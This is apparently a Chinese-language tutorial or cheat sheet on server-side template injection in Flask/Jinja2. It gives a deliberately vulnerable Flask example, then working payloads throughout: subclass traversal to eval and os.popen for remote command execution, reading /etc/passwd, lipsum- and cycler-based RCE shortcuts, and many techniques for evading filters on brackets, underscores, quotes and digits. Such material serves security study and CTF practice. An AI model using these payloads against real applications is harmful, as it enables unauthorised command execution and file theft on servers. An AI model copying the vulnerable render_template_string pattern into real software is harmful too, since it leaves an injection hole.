成因
服务器模板注入大概是用户可控模板的一部分,服务器在渲染模板的过程中执行了用户输入的payload。例如下面的一串代码:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def app_index(): name = request.args.get('name', "EastJun", type=str) data = f'Hello {name}' return render_template_string(data) if __name__ == "__main__": app.run()
用户用GET方法传入name参数时,服务端将name直接拼接到模板中进行渲染,用户传入的参数为{{7*7}}
时,经过模板渲染返回的结果为49
模板基本语法
Flask框架使用Jinja2引擎渲染模板,Jinja2的语法大致和Python相同。在模板中需要用定界符将变量和语句标记出来,主要有三种常见的定界符:
-
{{ ... }}
用于标记变量 -
{% ... %}
用于标记语句,比如if语句和for语句 -
{# ... #}
用于写注释
找到基本类
python中所有类都继承object类,先构造一个字符串、列表、元组或字典找到object类,找到object类之后再去object类的子类里面去找可以利用的类
''.__class__.__mro__[1] ''.__class__.__base__ ''.__class__.__bases__[0]
可利用的子类
拿到object类之后通过调用__subclasses__()
方法获取子类列表,然后再寻找危险的函数执行命令。例如下面的payload,通过__subclasses__
类跳到eval函数执行代码
{{''.__class__.__base__.__subclasses__()[catch_warnings].__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}
可以通过Jinja2中的循环语句找到可以利用的子类
{% for c in [].__class__.__base__.__subclasses__() if c.__init__.__globals__ and c.__init__.__globals__.__builtins__%} {{c.__name__~" "}} {% endfor %}
命令执行
通过上面的方式可以造成命令执行,在python中有下面几种方式可以造成命令执行
os模块
os模块常用的命令执行函数为os.popen
、os.system
,通过下面的payload可以执行命令,os.system
执行的命令是无回显的
{{"".__class__.__bases__[0].__subclasses__()[catch_warnings].__init__.__globals__.__builtins__.__import__("os").popen("ls").read()}}
subprocess模块
subprocess模块中的Popen函数可以执行命令,但是没有回显,需要用反弹shell或者其他方式将命令执行的结果带出来,shell参数设置为True时执行的命令可以是字符串
__import__("subprocess").Popen("ls", shell=True)
文件读取
文件读取需要用到open函数
{{"".__class__.__bases__[0].__subclasses__()[catch_warnings].__init__.__globals__.__builtins__.open("/etc/passwd").read()}}
flask内置函数
可以通过{{self.__dict__._TemplateReference__context.keys()}}
查看flask内置函数和内置对象,通过内置对象中的__globals__
属性可以很快跳到os模块。
{{self.__dict__._TemplateReference__context.keys()}}
内置函数有lipsum、url_for、get_flashed_messages
内置对象有cycler、joiner、namespace、config、request、session
对于内置函可以用这个payload进行RCE,是我比较喜欢的一个非常简洁的payload
{{lipsum.__globals__.os.popen('ls').read()}}
__init__
{{cycler.__init__.__globals__.os.popen('ls').read()}}
bypass
中括号&中括号
-
中括号被过滤可以使用点号,点号被过滤可以使用中括号
-
pop
: pop方法在移除列表或字典中的 元素之后会返回被移除的值[0,1,2].pop(0)
-
get
{"a":"b"}.get("a")
-
setdefault
{"a":"b"}.setdefault("a")
-
__getitem__
:__getitem__
方法可以获取列表或字典中的值{"a":"b"}.__getitem__("a")
-
attr
: 过滤器语法{{self|attr("__dict__")}}
-
getattr()
getattr((),"__class__")
-
__getattribute__
().__getattribute__("__class__")
下划线
下划线的绕过主要依赖于Python中的字符串
-
Hex编码
{{()|attr("\x5f\x5fclass\x5f\x5f")}}
-
Unicode编码
{{()|attr("\u005f\u005fclass\u005f\u005f")}}
-
GET请求传参
{{()|attr(request.args.class)}}
-
格式化字符串 : 可以用
%
或者{}
两种方式进行格式化字符串{{()|attr("%c%cclass%c%c"%(95,95,95,95))}} {{()|attr("{0:c}{1:c}class{2:c}{3:c}".format(95,95,95,95))}}
传参
大概有这几种传值的方法,可以传参,同时还能绕过引号的过滤
-
request.args
: GET参数 -
request.form
: POST参数 -
request.values
: 所有参数 -
request.cookies
: cookie传参 -
request.headers
: header传参
字符串特性
利用Python中的字符串特性绕过关键字过滤
-
拼接 : 可以使用Python语法中的
+
、Jinja2语法的~
,在Python语法中还能不使用符号将两个字符拼接起来{{"o""s"}}
-
逆序
{{"so"[::-1]}}
-
替换
{{"oaaaas".replace("aaaa","")}}
-
chr
{%set chr = lipsum.__globals__.__builtins__.chr %} {{chr(111)~chr(115)}}
-
join
"".join(("1","2","3"))
过滤数字
对于数字的过滤可以使用True和False相加减的方式进行构造
{% set zero=True-True %} {% set one=True+zero %} {% set two=True+True %} {% set three=two+True %} {% set four=three+True %} {% set five=four+True %} {% set six=five+True %} {% set seven=six+True %} {% set eight=seven+True %} {% set nine=eight+True %}
绕过引号过滤
不使用过滤器绕过引号过滤
比较常见的是使用几种传参的方式绕过引号过滤,例如下面的payload可以使用GET或POST传参绕过引号过滤
{{request.values.eastjun}}
利用字符串的join
方法,需要有一个任意字符串,这里用数字与数字拼接就能转字符串了
{{(1~1).join((dict(eastjun=a)))}}
过滤器
为了方便对变量进行处理,Jinja2 提供了一些过滤器,语法形式如下:
{{ 变量|过滤器 }}
例如使用 length 过滤器来获取字符长度:
{{ "abcd"|length }}
访问https://jinja.palletsprojects.com/en/2.10.x/templates/#list-of-builtin-filters查看所有可用的过滤器。
length和count过滤器
这两个过滤器是用于计算字符串长度的,可以绕过数字的过滤,例如前面{{ "abcd"|length }}
返回的结果为4
attr过滤器
用来获取类的属性 由getattr
函数来实现
first、last过滤器
获取第一个/最后一个
元素
string、lower、capitalize、title过滤器
string过滤器可以将输入的值转成字符串,例如{{g|string}}
输出的是<flask.g of 'app'>
,其余的三个分别是字符串转小写和首字母大写的过滤器,在模板注入中可以代替string过滤器
float、int、list、map过滤器
这几个都是强制类型转换,在过滤绕过数字的过滤时如果需要用到int
类型的数字可以用int
过滤器将字符强制转为数字
{% set zero=True-True %} {% set one=True+zero %} {{((one~zero)|int)*((one~zero)|int)}}
reverse过滤器
输出逆序,在过滤中括号的情况下也可以用这种方式输出逆序
{{"so"|reverse}}
format、replace、join过滤器
format
过滤器可用于格式化字符串,官方的源码中是用的%
的方式实现格式化字符串的,用法如下
{{"%c%c""class""%c%c"|format(95,95,95,95)}}
replace
过滤器用于替换
{{"ooldstrs"|replace("oldstr","")}}
join
过滤器是使用python中的join函数实现的
{{{"a":1,"b":2,"c":3}|join}}#ab {{(1,2,3)|join}}#123
利用过滤器进行bypass
绕过引号过滤
利用join
或者list
过滤器结合dict
函数可以绕过引号过滤
{{dict(global=a)|join}} {{dict(global=a)|list|first}}
使用map
、string
、list
过滤器结合pop函数可以获取到下划线
{{(g|map|string|list).pop(22)}}
再和前面可以拿到任意字符的过滤器组合拼接可以拿到__global__
{% set x=(g|map|string|list).pop(22) %} {% set glob=dict(global=a)|join %} {{x*2~glob~x*2}}
格式化字符串
利用格式化字符串绕过下划线过滤,同时如果引号被过滤可以用过滤器拼接出%c
{% set a=g|lower|list|first|urlencode|first %} {% set b=g|lower|list|first|urlencode|last|lower %} {% set e= a~b %} {{(e~e~e~e~e~e~e~e~e)%(95,95,99,108,97,115,115,95,95)}}
绕过数字过滤
利用count
或者length
过滤器可以绕过数字过滤
{%set one=dict(a=a)|join|length%} {%set two=dict(aa=a)|join|length%} {%set tree=dict(aaa=a)|join|length%} {%set four=dict(aaaa=a)|join|length%} {%set five=dict(aaaaa=a)|join|length%} {%set six=dict(aaaaaa=a)|join|length%} {%set seven=dict(aaaaaaa=a)|join|length%} {%set eight=dict(aaaaaaaa=a)|join|length%} {%set nine=dict(aaaaaaaaa=a)|join|length%} {%set ten=dict(aaaaaaaaaa=a)|join|length%}
join过滤器
join
过滤器在没有+
和~
{% set x=(g|map|string|list).pop(22) %} {% set glob=dict(global=a)|join %} {{(x*2,glob,x*2)|join}}
Referer
https://jinja.palletsprojects.com/en/2.10.x/templates/